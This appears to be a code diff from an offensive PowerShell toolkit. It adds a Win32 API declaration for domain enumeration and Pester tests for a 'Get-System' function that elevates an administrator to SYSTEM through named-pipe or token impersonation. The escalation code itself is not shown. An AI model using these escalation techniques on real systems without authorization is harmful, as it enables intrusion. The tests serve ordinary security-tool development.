@@ -11948,8 +12331,9 @@ $FunctionDefinitions = @(
(func netapi32 NetWkstaUserEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
(func netapi32 NetSessionEnum ([Int]) @([String], [String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
(func netapi32 NetLocalGroupGetMembers ([Int]) @([String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
- (func advapi32 ConvertSidToStringSid ([Int]) @([IntPtr], [String].MakeByRefType())),
+ (func netapi32 DsGetSiteName ([Int]) @([String], [IntPtr].MakeByRefType())),
(func netapi32 NetApiBufferFree ([Int]) @([IntPtr])),
+ (func advapi32 ConvertSidToStringSid ([Int]) @([IntPtr], [String].MakeByRefType())),
(func advapi32 OpenSCManagerW ([IntPtr]) @([String], [String], [Int])),
(func advapi32 CloseServiceHandle ([Int]) @([IntPtr])),
(func wtsapi32 WTSOpenServerEx ([IntPtr]) @([String])),
diff --git a/Tests/Privesc.tests.ps1 b/Tests/Privesc.tests.ps1
index 296829f..999d712 100644
--- a/Tests/Privesc.tests.ps1
+++ b/Tests/Privesc.tests.ps1
@@ -787,3 +787,45 @@ Describe 'Get-SiteListPassword' {
}
}
}
+
+
+Describe 'Get-System' {
+
+ if(-not $(Test-IsAdmin)) {
+ Throw "'Get-System' Pester test needs local administrator privileges."
+ }
+
+ AfterEach {
+ Get-System -RevToSelf
+ }
+
+ It 'Should not throw with default parameters and should elevate to SYSTEM.' {
+ { Get-System } | Should Not Throw
+ "$([Environment]::UserName)" | Should Be 'SYSTEM'
+ }
+
+ It 'Named pipe impersonation should accept an alternate service and pipe name.' {
+ { Get-System -Technique NamedPipe -ServiceName 'testing123' -PipeName 'testpipe' } | Should Not Throw
+ "$([Environment]::UserName)" | Should Be 'SYSTEM'
+ }
+
+ It 'Should elevate to SYSTEM using token impersonation.' {
+ { Get-System -Technique Token } | Should Not Throw
+ "$([Environment]::UserName)" | Should Be 'SYSTEM'
+ }
+
+ It '-WhoAmI should display the current user.' {
+ { Get-System -Technique Token } | Should Not Throw
+ { Get-System -WhoAmI } | Should Match 'SYSTEM'
+ }
+
+ It 'RevToSelf should revert privileges.' {
+ { Get-System -Technique Token } | Should Not Throw
+ { Get-System -RevToSelf } | Should Not Throw
+ "$([Environment]::UserName)" | Should Not Match 'SYSTEM'
+ }
+
+ It 'Token impersonation should throw with incompatible parameters.' {
+ { Get-System -Technique Token -WhoAmI } | Should Throw
+ }
+}